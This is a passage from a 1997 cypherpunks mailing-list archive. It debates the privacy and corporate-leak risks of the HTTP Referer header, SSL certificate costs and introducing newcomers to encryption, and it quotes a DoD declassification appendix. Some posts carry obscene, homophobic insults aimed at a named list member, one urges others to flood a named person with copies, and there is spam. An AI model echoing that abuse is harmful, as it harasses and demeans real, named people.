11:31:24 1997 From: ericm at lne.com (Eric Murray) Date: Mon, 14 Apr 1997 11:31:24 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: Message-ID: <199704141830.LAA13210@slack.lne.com> Black Unicorn writes: > I might add that I would like an option on cookie supression to bypass > that annoying dialog such to never allow cookies. It gets a bit much when > a page askes for 9 cookies in a row and the only way to prevent them is to > get beeped at repeatedly. Again, don't confuse the novice, don't slow > down the expert. RFC 2109, released a couple months ago, addresses this. Unless Doubleclick is successful in getting it changed. :-( I don't think any browsers yet support the cookie-choice features of 2109 (correct me if I'm wrong). So in the mean time you can use Cookie Jar (http://www.lne.com/ericm/cookie_jar/) to filter out cookies and Referer: tags and ads. -- Eric Murray ericm at lne.com Privacy through technology! Network security and encryption consulting. PGP keyid:E03F65E5 From bryce at digicash.com Mon Apr 14 11:43:25 1997 From: bryce at digicash.com (Bryce) Date: Mon, 14 Apr 1997 11:43:25 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: Message-ID: <199704141834.UAA28021@digicash.com> A million monkeys operating under the pseudonym "Black Unicorn " typed: > > "You are about to forward a referer header to the page you have selected. > Forwarding the referer header to this site may reveal more about your web > browsing habits than you would prefer. Should surpress the > referer header? Yes/No/Always Surpress/Never Surpress." Minor UI nit: it would be much much better if it said "You are about to send a 'referrer header' telling the next web site about the web page you are currently looking at. Should send this 'referrer header'? [Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]" Regards, Zooko Journeyman Disclaimers follow: I am not a cypherpunk. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From aba at dcs.ex.ac.uk Mon Apr 14 12:21:06 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 14 Apr 1997 12:21:06 -0700 (PDT) Subject: A Rumor and Reputation Paradox... In-Reply-To: Message-ID: <199704140649.HAA00357@server.test.net> Dimitri Vulis writes: > "Timothy C. May" writes: > > > be it. Anti-free speechers, including Larry Kolodney and including those > > who support libel and slander laws, would have us believe that "false > > speech" is not as protected as "true speech" is. Foo on that.) > > That from a vocal supporter of Cocksucker John Gilmore's plug-pulling... If I recall, Tim was opposed to the moderation experiment, and to John's removal of you from the list (the plug-pulling referred to?). Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <97Apr14.123346pdt."7904"@thyron.parc.xerox.com> In message <3351F2DF.7DC26A1A at netscape.com>you write: ... >In the eyes of some, the referer header is a privacy violation. It >allows a site to see what site you visited before coming there. In the >case of Navigator, we ONLY send the referer header when you click on a >link. Not when you select a bookmark. Not when you type a URL into the >location field. This allows web sites to see who links to them. I >think that's something that a web author is entitled to know. > Tom, I am concerned that the referer field could be a major corporate security leak. In particular, many companies are now using the web for internal project documentation. The URLs often contain project code words or code names. If a project wishes to to establish links to competitors for purposes of benchmarking, or to suppliers, the referer field would leak those code words and/or project organization. In most security handbooks this is a breach of project security. Unfortunately, you (the commercial web community) are creating entitlements which the user community is likely to disagree with strongly. My newspaper does not have an entitlement to know which pages I read, the advertisers in the newspaper do not have entitlements to the knowledge of which ads I scan. Assumption of such entitlements in the web environment will inevitably lead to privacy violations, security leaks and legal action. -Bryan From sameer at c2.net Mon Apr 14 12:43:14 1997 From: sameer at c2.net (sameer) Date: Mon, 14 Apr 1997 12:43:14 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3351F2DF.7DC26A1A@netscape.com> Message-ID: <199704141942.MAA15317@gabber.c2.net> > information. This is a security hole in the web site, not in the > browser. The browser follows the HTTP specification. If you have a [. . .] > > In the eyes of some, the referer header is a privacy violation. It > allows a site to see what site you visited before coming there. In the > case of Navigator, we ONLY send the referer header when you click on a > link. Not when you select a bookmark. Not when you type a URL into the > location field. This allows web sites to see who links to them. I > think that's something that a web author is entitled to know. GET forms aren't the only thing wrong with referer, btw. An associate of mine discovered some prioprietary Netscape information from the Referer: headers on hits to his website from Netscape employees, even. I commend Netscape for providing users with the ability to turn off referers. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From AGRAPA at banamex.com Mon Apr 14 13:14:26 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Mon, 14 Apr 1997 13:14:26 -0700 (PDT) Subject: SSL weakness affecting links from pa Message-ID: Re: SSL & GET I suspect that the pass-the-buck syndrome is in full force. If the specs authors should realize that programmers are going to code by them then shouldn't programmers realize that users are going to use their products? The user, the specification author, the browser manufacturer, the server manufacturer, and the content provider all share the responsibility. Just 'cause its in the specs doesn't mean (shouldn't mean) that everyone else can just wash their hands of it. There are stupid users, stupid specification authors, stupid browser manufacturers, etc. If the specs are not secure the user shouldn't use it, the manufacturer shouldn't code to it, etc. OR SHOULD THEY SHARE RESPONSIBILITY? I guess the real solution will come in court when someone tries to sue a content provider who tries to sue a server manufacturer who tries to sue a browser manufacturer who tries to sue a specs author. My concern is that the author of the comments, who works for Netscape by the way, is passing the buck on to the content provider. Its great policy for Netscape, bad policy Netscape's clients. Re: HTTP REFERER Useful? Yes. Entitled? NO. Art Grapa agrapa at banamex.com ---------- From: Eric Murray To: ARTURO GRAPA YSUNZA; AGRAPA at k2.banamex.com Cc: cypherpunks at toad.com; tomw at netscape.com; cryptography at c2.net Subject: Re: SSL weakness affecting links from pa Date: Monday, April 14, 1997 12:45PM Microsoft Mail v3.0 IPM.Microsoft Mail.Note De: Eric Murray Para: ARTURO GRAPA YSUNZA AGRAPA at k2.banamex.com Cc: cypherpunks at toad.com tomw at netscape.com cryptography at c2.net Asunto: Re: SSL weakness affecting links from pa Fecha: 1997-04-14 12:45 Prioridad: 3 Ident. del mensaje: 8C705E17CEB1D011AF91006097838CEB ----------------------------------------------------------------------- ----- -- ARTURO GRAPA YSUNZA writes: > > > Tom Weinstein wrote: > > >This particular feature (the HTTP referer header) has nothing to do with > >corporations "having their way" with users. It was created so that web > >authors could put "back" buttons on their pages. The security problem > >arises when stupid CGI authors use GET forms to transfer sensitive > >information. This is a security hole in the web site, not in the > >browser. The browser follows the HTTP specification. If you have a > >problem with that, contact the author of that specification. Or, better > >yet, contact the web site (as far as I know, there are none) that has > >this security hole. > > Stupid programmers abound even in large corporations. Bugs, patches and > security holes are now normal everyday things. I agree with Toto. > Companies should take more responsability in the programs they produce. No, specification authors should take more responsibility in the specs that they produce. The HTTP spec's use of GET is insecure. Specification writers should realize that people will follow their specs, and should be thinking of security and privacy issues as they are beig written. > >In the eyes of some, the referer header is a privacy violation. It > >allows a site to see what site you visited before coming there. In the > >case of Navigator, we ONLY send the referer header when you click on a > >link. Not when you select a bookmark. Not when you type a URL into the > >location field. This allows web sites to see who links to them. I > >think that's something that a web author is entitled to know. > > NO WAY! The web author is NOT entitled to know where I came from. So if > you go to Sears the saleperson is entitled to know you came from > JCPenney's? If so, then I am just as much entitled to not tell him or at > least entitled to know that there's a sign on my back that says where I > came from. How many web users are aware of the HTTP REFERRER header? Not > many, especially if they have not read the specs or looked at the logs > from a web server. As an adminsitrator I AM NOT ENTITLED to that info. Why not? It's a useful tool to find out who has linked to you. On the other hand, it _is_ a privacy concern, and I don't want to send it to sites I visit. So I included an option blocking the Referrer tag in Cookie Jar, the cookie-blocking program I wrote. I'd like to think that writing it helped push Netscape into supporting better options for cookies (see rfc2109) and into adding this option for not sending Referrer but I'm sure there were many other louder calls for the same thing. > Accept responsibility? Ok, that's wishful thinking. How about not > blaming others? How about warning your users? You didn't do it in this > case. If you do then you can say "I told you so!" Users need to educate themselves. Even a fairly security and privacy concious company like Netscape still has exectutives who feel as though they have to answer to the bottom line and who will sacrifice consumer privacy to get there if they feel that the advantages outweigh the risks. Netscape has consistently led industry in realizing and fixing and admitting security holes and privacy issues, largely due to the effort of Jeff and the rest of their security group in educating upper management on those issues and making them realize their importance. However I am not willing to bet my privacy on Netscape's good will, as it could turn at any time. The way to real privacy is to educate oneself. Demanding companies to "fix it" is lame and ineffectual. You have the technology- fix it yourself! Distribute your code. Make the companies look bad. Educate the sheeple. But asking companies to look out for your privacy is a waste of time. -- Eric Murray ericm at lne.com Privacy though technology! Network security and encryption consulting. PGP keyid:E03F65E5 From AGRAPA at banamex.com Mon Apr 14 13:18:12 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Mon, 14 Apr 1997 13:18:12 -0700 (PDT) Subject: SSL weakness affecting links from pa Message-ID: How about: "You are about to send a 'referrer header' telling the next web site about the web page you are currently looking at. Should send this 'referrer header'? [Yes/No/Always Send Referrer Headers/Never Send Referrer Headers] [CHECKBOX] Don't ask again." ---------- From: bryce at digicash.com To: ARTURO GRAPA YSUNZA; Black Unicorn Cc: cypherpunks at toad.com; cryptography at c2.net; toto at sk.sympatico.ca; Tom Weinstein; Bill Stewart; Mark M.; ARTURO GRAPA YSUNZA Subject: Re: SSL weakness affecting links from pa Date: Monday, April 14, 1997 1:44PM Microsoft Mail v3.0 IPM.Microsoft Mail.Note De: bryce at digicash.com Para: ARTURO GRAPA YSUNZA Black Unicorn Cc: cypherpunks at toad.com cryptography at c2.net toto at sk.sympatico.ca Tom Weinstein Bill Stewart Mark M. ARTURO GRAPA YSUNZA Asunto: Re: SSL weakness affecting links from pa Fecha: 1997-04-14 13:44 Prioridad: 3 Ident. del mensaje: A0705E17CEB1D011AF91006097838CEB ----------------------------------------------------------------------- ----- -- A million monkeys operating under the pseudonym "Black Unicorn " typed: > > "You are about to forward a referer header to the page you have selected. > Forwarding the referer header to this site may reveal more about your web > browsing habits than you would prefer. Should surpress the > referer header? Yes/No/Always Surpress/Never Surpress." Minor UI nit: it would be much much better if it said "You are about to send a 'referrer header' telling the next web site about the web page you are currently looking at. Should send this 'referrer header'? [Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]" Regards, Zooko Journeyman Disclaimers follow: I am not a cypherpunk. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From AGRAPA at banamex.com Mon Apr 14 13:52:03 1997 From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA) Date: Mon, 14 Apr 1997 13:52:03 -0700 (PDT) Subject: SSL weakness affecting links from pa Message-ID: > GET forms aren't the only thing wrong with referer, btw. An >associate of mine discovered some prioprietary Netscape information >from the Referer: headers on hits to his website from Netscape >employees, even. Could you elaborate? ---------- From: sameer To: ARTURO GRAPA YSUNZA; Tom Weinstein Cc: toto at sk.sympatico.ca; cypherpunks at toad.com; stewarts at ix.netcom.com; markm at voicenet.com; AGRAPA at k2.banamex.com; cryptography at c2.net Subject: Re: SSL weakness affecting links from pa Date: Monday, April 14, 1997 2:23PM Microsoft Mail v3.0 IPM.Microsoft Mail.Note De: sameer Para: ARTURO GRAPA YSUNZA Tom Weinstein Cc: toto at sk.sympatico.ca cypherpunks at toad.com stewarts at ix.netcom.com markm at voicenet.com AGRAPA at k2.banamex.com cryptography at c2.net Asunto: Re: SSL weakness affecting links from pa Fecha: 1997-04-14 14:23 Prioridad: 3 Ident. del mensaje: A7705E17CEB1D011AF91006097838CEB ----------------------------------------------------------------------- ----- -- > information. This is a security hole in the web site, not in the > browser. The browser follows the HTTP specification. If you have a [. . .] > > In the eyes of some, the referer header is a privacy violation. It > allows a site to see what site you visited before coming there. In the > case of Navigator, we ONLY send the referer header when you click on a > link. Not when you select a bookmark. Not when you type a URL into the > location field. This allows web sites to see who links to them. I > think that's something that a web author is entitled to know. GET forms aren't the only thing wrong with referer, btw. An associate of mine discovered some prioprietary Netscape information from the Referer: headers on hits to his website from Netscape employees, even. I commend Netscape for providing users with the ability to turn off referers. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From schneier at counterpane.com Mon Apr 14 15:54:04 1997 From: schneier at counterpane.com (Bruce Schneier) Date: Mon, 14 Apr 1997 15:54:04 -0700 (PDT) Subject: Cryptographers made fun of on late-night network television Message-ID: The show is Politically Incorrect, on ABC at 1:00am. This show aired on March 21st (which is the night of the 20th): Here's what Bill Mahar said (it doesn't parse well): "Are there any users of cellular phones here? Because people are concerned (2-3 people finally clap) I knew it was a sophisticated group. Um, no. People are concerned about the privacy you know. Newt Gingrich, what happened to him. So a couple of months ago they set out to make these things a lot better so that you couldn't break in. Well. Put in a new code. Yesterday, a team of computer experts announced that they had already cracked the electronic code. And sadly, none of them knew how, still, to unhook a bra." All right, so it's not a GOOD joke. But still.... Bruce ************************************************************************** * Bruce Schneier For information on APPLIED CRYPTOGRAPHY * Counterpane Systems 2nd EDITION (15% discount and errata), * schneier at counterpane.com Counterpane Systems's consulting services, * http://www.counterpane.com/ or the Blowfish algorithm, see my website. ************************************************************************** From sameer at c2.net Mon Apr 14 16:17:12 1997 From: sameer at c2.net (sameer) Date: Mon, 14 Apr 1997 16:17:12 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: Message-ID: <199704142316.QAA18847@gabber.c2.net> > > Could you elaborate? That would be impolite, sorry. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From house at savetrees.com Mon Apr 14 16:27:04 1997 From: house at savetrees.com (house at savetrees.com) Date: Mon, 14 Apr 1997 16:27:04 -0700 (PDT) Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE Message-ID: <0000000000.AAA000@savetrees.com> HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE As a computer owner you have Web Wealth at your fingertips... In a few short years virtually every business will be on the Web ... Don't be left behind... Experts predict that 95 percent of Americans will be on the Internet within 15 years (about where television is today) Dr. Jeffrey Lant, the author of 14 best selling business books, tells you everything you need to know to make Really Big Money on Your Web Site... His NEW book, "Web Wealth" is a fact - filled goldmine of marketing information... If your serious about making money on the Web, this 248 - page power packed book is an absolute necessity... Dr. Lant tells you: *Why almost every business will be on the Web *Why you can't afford to NOT be on the Web *Why you must be associated with and Internet Mall *Why setting up a solo home page makes no sense at all *Why treating a Web Site like a standard print ad is a big mistake *Why the secrets of netvertising generates maximum traffic & results *How to promote your Web Site within the internet *How to promote your Web Site off the Internet *How to build your business with Facts-On-Demand technology *How you can profit from the Internet, even if your running a local service business *How you can profit if your in network marketing *How publications can forget big price increases in paper, production and postage, and make huge profits on the web This MUST-HAVE 8x10 248 page book is a steal at only $27.95 (this price includes shipping & handling). 10 day money back guarantee. If you are not completely satisfied return the book within 10 days any your money will be returned in full. Send your order TODAY... simply write "Web Wealth" with your name and address on a sheet of paper... Send your check for only $27.95 NOW and take the high road to Web Wealth on the information superhighway... Send your order to: Mail House Publishing 403 Nasa Road 1 East Suite 210 / Dept WW21 Houston, Texas 77598 would like your product or service advertised via the internet to over 100,000 people a day call 281-333-0428 From bubba at dev.null Mon Apr 14 17:01:38 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Mon, 14 Apr 1997 17:01:38 -0700 (PDT) Subject: WebWorld 31-32 Message-ID: <3352C54B.3024@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 24831 bytes Desc: not available URL: From nobody at REPLAY.COM Mon Apr 14 17:17:50 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 14 Apr 1997 17:17:50 -0700 (PDT) Subject: [URGENT] Cyclic codes Message-ID: <199704150017.CAA14325@basement.replay.com> Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm might bite your penis. /\_./o__ Timmy C[ocksucker] May (/^/(_^^' ._.(_.)_ From toto at sk.sympatico.ca Mon Apr 14 17:45:31 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 14 Apr 1997 17:45:31 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <199704142152.RAA11179@relay3.smtp.psi.net> Message-ID: <3352CDD5.6B98@sk.sympatico.ca> Wesley Felter wrote: > If I want to run an SSL > Web server, why the hell won't Navigator or MSIE let me do it > (peacefully) without a certificate? > If I > already paid RSA's ransom for SSL servers and clients, why should I have > to pay Verisign an outrageous amount of money to make clients "trust" my > server > I know that Netscape is making the Internet safe for rampant consumerism > (if you see the blue bar, it's safe to spend money), but what about > secure, non-financial communications? Sorry, the needs of the AOL sheep > to not have to think about security outweigh everything else. While I > think referrers and cookies are useful, they represent other ways in > which the big commercial browser companies want to pave over the Internet > and turn it into the Mall of America. My own theory is that the Great Beast talked about in the Book of Revelations is the Home Shopping Network. The graven image which the Jews worshipped in the the Egyptian desert was actually a Fat Elvis porcelain figurine, embedded with genuine cubic zirconiums. When Jesus returns, it will be on his own WebSite. The only question is whether the server will be in Jerusalem, Rome, or Salt Lake City. The reason Armageddon will be such a great battle is that Jesus will be handicapped by the fact that so many of his representatives have pissed away the major portion of his reputation capital during his absence. The Home Shopping Network, having never had much reputation capital, will be forced to drop prices dramatically, resulting in us all entering a Heavenly Kingdom where we can each afford a Plastic Jesus for our dashboard AND a Fat Elvis porcelain figure for our boudoir. Of course, the above scenario all depends on Jesus being able to get certification as a 'trusted authority' for his WebSite. I hope he brings his wallet with him. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From tcmay at got.net Mon Apr 14 18:22:34 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 14 Apr 1997 18:22:34 -0700 (PDT) Subject: [URGENT] Cyclic codes Message-ID: <199704150119.TAA01671@wombat.sk.sympatico.ca> Anonymous wrote: > > Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm > might bite your penis. This was already discussed extensively on the list in the early days. It was one of the many threads I started on the subject. Those such as Anonymous, Nobody, and others, are merely recent interlopers who attempt to take credit for discoveries by the original list members, such as myself. After all, how do you think Rabid Wombat got his name? Just say "No" to "TruthMangler Inside" We got tapeworms, we're biting penis's, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- From nobody at REPLAY.COM Mon Apr 14 19:26:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 14 Apr 1997 19:26:33 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970414182326.008c8400@mail.io.com> Message-ID: <199704150226.EAA28932@basement.replay.com> I've written an article on the subject of CA liabilities absent a state digital signature law. Read it and weep. Click here A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | "Cyberspace" is not a place. U. Miami School of Law | [still avoiding spam] P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From enystrom at aurora.nscee.edu Mon Apr 14 19:51:30 1997 From: enystrom at aurora.nscee.edu (Eric Nystrom) Date: Mon, 14 Apr 1997 19:51:30 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <3351CD43.5BB3@sk.sympatico.ca> Message-ID: > There isn't a week that goes by without my receiving an email from > someone who thanks me for the benefit they have gained by my introducing > them to encryption or anonymous remailers, yet I doubt that many of them Toto hints at some issues here that I've been wondering about for a while now. What are some effective strategies for securely introducing "newbies" to the world of cryptography and anon remailers? I'm currently attending college, which means that my peers all use email very regularly -- a ripe environment for use of cryptography in email, I should think. However, nearly everyone's email accounts are on a central Unix machine, which brings up many issues about the (lack of) security of private keys on multiuser machines. My question is this -- is it better for the crypto community in the long run to have more people using encryption, but perhaps insecurely, or to have fewer users whose communications are more cryptographically secure? -Eric -- Thus the time may have come to abandon the cool, measured language of technical reports -- all that talk of "perturbations" and "surprises" and "unanticipated events" -- and simply blurt out: "Holy shit! Ten thousand years! That's incredible!" -- Kai Erikson, _A_New_Species_of_Trouble_, 1994. From jya at pipeline.com Mon Apr 14 20:06:38 1997 From: jya at pipeline.com (John Young) Date: Mon, 14 Apr 1997 20:06:38 -0700 (PDT) Subject: DoDeclassifying Crypto Message-ID: <1.5.4.32.19970415030518.006dc354@pop.pipeline.com> From: DOD5200.1-R: "Information Security Program" January, 1997 Appendix D Special Procedures for Use in Systematic and Mandatory Review of Cryptologic Information 1. General guideline: Cryptologic information uncovered in systematic or mandatory review for declassification of 25- year old government records is not to be declassified by other than the National Security Agency. The information may concern or reveal the processes, techniques, operations, and scope of signals intelligence (SIGINT), which consists of communications intelligence (COMINT), electronic intelligence (ELINT), and foreign instrumentation signals intelligence (FISINT), or it may concern the components of Information Security (INFOSEC) which consists of communications security (COMSEC) and computer security (COMPUSEC), including the communications portion of cover and deception plans. Much cryptologic information is also considered "Foreign Government Information" as defined in Para. 1.1(d) of the Executive Order 12958. 2. Recognition of cryptologic information may not always be an easy task. There are several broad classes of cryptologic information, as follows: a. Those that relate to INFOSEC: In documentary form, they provide COMSEC/COMPUSEC guidance or information. Many COMSEC/COMPUSEC documents and materials are accountable under the Communications Security Material Control System. Examples are items bearing telecommunications security (TSEC) nomenclature and crypto keying material for use in enciphering communications and other COMSEC/COMPUSEC documentation such as the National Telecommunications and Information Systems Security Committee or is predecessor organization, COMSEC/COMPUSEC Resources Program documents, COMSEC Equipment Engineering Bulletins, COMSEC Equipment System Descriptions, and COMSEC Technical Bulletins. b. Those that relate to SIGINT: These appear as reports in various formats that bear security classifications, frequently followed by five-letter codewords, for example, World War II's ULTRA, and often carry warning caveats such as "This document contains codeword material" and "Utmost secrecy is necessary..." or "Handle Via COMINT Channels Only" or "HVCCO" or "CCO." Formats may appear as messages having addresses, "from" and "to" sections, and as summaries with SIGINT content with or without other kinds of intelligence and comment. c. Research, development, test, life cycle support, planning, and evaluation reports and information that relates to either COMSEC, COMPUSEC, or SIGINT. 3. Some commonly used words that help to identify cryptologic documents and materials are "cipher," "code," "codeword," communications intelligence," or "COMINT," "special intelligence," "communications security," or "COMSEC," "computer security or COMPUSEC," cryptanalysis," "crypto," cryptography," "cryptosystem," "cipher," "decipher," "decode," "decrypt," "direction finding," "electronic intelligence" or "ELINT," "electronic security," "encipher," "encode," "encrypt," "foreign instrumentation signals intelligence" or "FISINT" pr "FIS"," "telemetry," "information systems security" or "INFOSEC," "intercept," "key book," "one-time-pad," "bookbreaking," "signals intelligence" or "SIGINT," "signals security," "TEMPEST," and "traffic analysis" or "TA." 4. Special procedures apply to the review and declassification of classified cryptologic information. The following shall be observed in the review of such information. a. INFOSEC (COMSEC and COMPUSEC) Documents and Materials. (1) If records or materials in this category are found in agency or department component files that are not under INFOSEC control, refer them to the senior COMSEC/COMPUSEC authority of the agency or department concerned or return them, by appropriate channels, to the address in item 4.c, below. (2) If the COMSEC/COMPUSEC information has been incorporated into other documents by the receiving agency, that information must be referred to the National Security Agency/Chief Central Security Service (NSA/CSS) for review before declassification occurs. b. SIGINT (COMINT, ELINT, and FISINT) Information. (1) If the SIGINT information is contained in a document or record originated by a U.S. Government cryptologic organization and is in the files of a non- cryptologic agency or department, such material will not be declassified. The material may be destroyed unless the holding agency's approved records disposition schedule requires its retention. If the material must be retained, it must be referred to the NSA/CSS for systematic review for declassification when it becomes 25-years old or older. (2) If the SIGINT information has been incorporated by the receiving agency into documents it produces, referral of the SIGINT information to the NSA/CSS for review is necessary prior to any declassification action. c. COMSEC/COMPUSEC or SIGINT information which requires declassification by the NSA/CSS should be sent to: Director, National Security Agency/ Chief, Central Security Service ATTN: Information Policy Staff (N5P6) Fort George G. Meade, MD 20755-6000 ---------- For full document: http://jya.com/dod52001r.htm (315K) From ichudov at algebra.com Mon Apr 14 20:55:43 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 14 Apr 1997 20:55:43 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <199704150354.WAA21300@manifold.algebra.com> Eric Nystrom wrote: > > There isn't a week that goes by without my receiving an email from > > someone who thanks me for the benefit they have gained by my introducing > > them to encryption or anonymous remailers, yet I doubt that many of them > > Toto hints at some issues here that I've been wondering about for a while > now. What are some effective strategies for securely introducing > "newbies" to the world of cryptography and anon remailers? I'm > currently attending college, which means that my peers all use email very > regularly -- a ripe environment for use of cryptography in email, I should > think. However, nearly everyone's email accounts are on a central Unix > machine, which brings up many issues about the (lack of) security of > private keys on multiuser machines. > > My question is this -- is it better for the crypto community in the long > run to have more people using encryption, but perhaps insecurely, or > to have fewer users whose communications are more cryptographically secure? Multiuser Unix Security == No Security. Your users may have illusions, but not true security. First thing I'd suggest is to explain them that nothing that goes through that central unix machine is truly secure. - Igor. From ericm at lne.com Mon Apr 14 20:59:43 1997 From: ericm at lne.com (Eric Murray) Date: Mon, 14 Apr 1997 20:59:43 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <199704150359.UAA14778@slack.lne.com> A non-text attachment was scrubbed... Name: not available Type: application/x-pgp-message Size: 26 bytes Desc: not available URL: From m2c at idt.net Mon Apr 14 21:21:55 1997 From: m2c at idt.net (m2c at idt.net) Date: Mon, 14 Apr 1997 21:21:55 -0700 (PDT) Subject: Your Job Posting Message-ID: <2.2.32.19970415031324.0068aaec@pop3.idt.net> Ref: Robo Surfer Can Find Resumes Hi: We saw your Job Posting and thought you might be interested in the Robo Surfer Resume Finder which is your Own Personal Internet Resume Robot. Robo Surfer Resume Finder will search and surf the Internet for you looking for resumes posted on individuals home pages that meet your criteria. When Robo Surfer finds resumes that meet your criteria, it saves them to your hard drive for you to view off-line. You can view all of the Resumes retrieved by Robo Surfer directly in your Netscape Navigator or Internet Explorer Browser. You can also import the Resumes retrieved by Robo Surfer into most Databases. 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ROBO SURFER PRODUCTS Robo Surfer Classic Robo Surfer Pro Robo Surfer Research Partner Robo Surfer Resume Finder Robo Surfer Email Finder Robo Surfer Web Content Finder Robo Surfer Custom From toto at sk.sympatico.ca Mon Apr 14 21:45:44 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 14 Apr 1997 21:45:44 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: Message-ID: <335307BE.7718@sk.sympatico.ca> Eric Nystrom wrote: > What are some effective strategies for securely introducing > "newbies" to the world of cryptography and anon remailers? I have found that rather than promoting encryption and anony remailers, that it is much more effective for me just to be aware of when someone mentions a problem they are having that can be solved by crypto/remailers. I always try to give them a short list of what is required to use various options, and what is gained by them. The biggest thing to me is to try to point them toward a level of technology that they are capable of using, or will be capable of learning, given the level of their problem. The following remailers are ones I recommend for totally newbie computer wrestlers who need a graphic interface and have access to a browser. http://www.myemail.net/anonymous.htm http://www.ozemail.com.au/~geoffk/anon/anon.html > My question is this -- is it better for the crypto community in the long > run to have more people using encryption, but perhaps insecurely, or > to have fewer users whose communications are more cryptographically secure? My opinion is that the more people who use encryption with an understanding of what level of security they are getting, then the more people who will eventually graduate to higher levels of security when using crypto. If teenagers use crypto to keep their private diary safe from little brother or sister's prying eyes, then they will begin to learn more about it at an early age. If little brother or sister is a computer whiz, and cracks their diary open, then they will get a valuable life lesson that may save them from more costly lessons in the future. Also, if a wide range of people are using crypto, whether it is strong and secure or not, then there will be a larger group of people interested in the government or their employer not interfering with their use of it. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From real at freenet.edmonton.ab.ca Mon Apr 14 21:49:09 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Mon, 14 Apr 1997 21:49:09 -0700 (PDT) Subject: [URGENT] Cyclic codes In-Reply-To: <199704150017.CAA14325@basement.replay.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Tue, 15 Apr 1997, Anonymous wrote: > might bite your penis. > > /\_./o__ Timmy C[ocksucker] May > (/^/(_^^' > ._.(_.)_ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From SPORTFAN at Overtimeinc.com Mon Apr 14 21:54:27 1997 From: SPORTFAN at Overtimeinc.com (SPORTFAN) Date: Mon, 14 Apr 1997 21:54:27 -0700 (PDT) Subject: MICHAEL JORDAN AND OTHER SPORTS STARS - SPECIAL !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Message-ID: <33527FB9.19E0@Overtimeinc.com> DO YOU OR ANYONE YOU KNOW LIKE SPORTS ? DO YOU OR ANYONE YOU KNOW COLLECT SPORTS CARDS ? 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PRICES AND PRODUCTS ARE SUBJECT TO CHANGE ------------------------------------------------------------------------ WE ALSO BUY - MANY SEALED BOXES AND CASES OF TRADING CARDS - CONTACT US WITH WHAT YOU HAVE TO SELL - YOU MAY FIND OUT THAT "JUNK" IN YOUR CLOSET IS WORTH SOMETHING ------------------------------------------------------------------------ THANK YOU FOR READING THIS - HOPEFULLY WE CAN "WORK OVERTIME TO MAKE YOU MONEY" From jamesd at echeque.com Mon Apr 14 22:16:04 1997 From: jamesd at echeque.com (jamesd at echeque.com) Date: Mon, 14 Apr 1997 22:16:04 -0700 (PDT) Subject: FCPUNX:Advocating Violence Message-ID: <199704150514.WAA03565@proxy1.ba.best.com> At 03:29 PM 4/13/97 -0800, Jim Bell wrote: > Looked at traditionally, "we" have a > military because "they" have militaries. There appears to be no way out of > this game, and thus in that context militaries could be viewed as a public > good, or at least a public 